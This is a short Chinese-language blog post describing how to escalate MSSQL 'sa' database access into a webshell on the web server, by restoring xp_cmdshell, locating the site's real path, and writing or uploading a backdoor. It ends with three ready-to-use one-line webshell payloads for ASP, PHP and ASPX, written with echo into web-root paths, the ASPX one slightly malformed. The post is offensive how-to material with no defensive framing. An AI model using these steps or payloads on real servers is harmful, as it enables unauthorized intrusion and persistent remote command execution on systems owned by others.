sa許可權擷取webshell思路

標籤：sa許可權擷取webshell思路

sa許可權擷取webshell思路

   1.通過SQL查詢分析器通過sa許可權首先恢複xp_cmdshell預存程序。

   2.通過SQL Tools2.0串連資料庫，執行命令，查看網站路徑以及磁碟檔案，擷取網站的真實路徑。

   3.echo產生一句話後門。

   4.直接擷取webshell許可權。

   5.如果echo產生的一句話後門無法執行，可以通過查看對應網站的資料庫，擷取後台登陸密碼，通過後台上傳webshell的jpg。然後通過copy命令將jgp檔案複製為aspx檔案，從而擷取webshell。

技巧：

   1.尋找可寫的檔案夾，例如c:/windows/temp，以及網站的真實路勁。

   2.通過echo命令產生一句話後門

  echo ^<%eval request(cmd)% ^>^>d:\wwwroot\ok.asp

  echo ^<?php @eval($_POST[cmd]);?^>^>cmd.php

  echo ^<%@ PageLanguage="Jscript%"^>^<^%eval(Request.Item["pass"],"unsafe");%^>^>c:\inetpub\wwwroot\cmd.aspx

本文出自 “simeon技術專欄” 部落格，請務必保留此出處http://simeon.blog.51cto.com/18680/1926022

sa許可權擷取webshell思路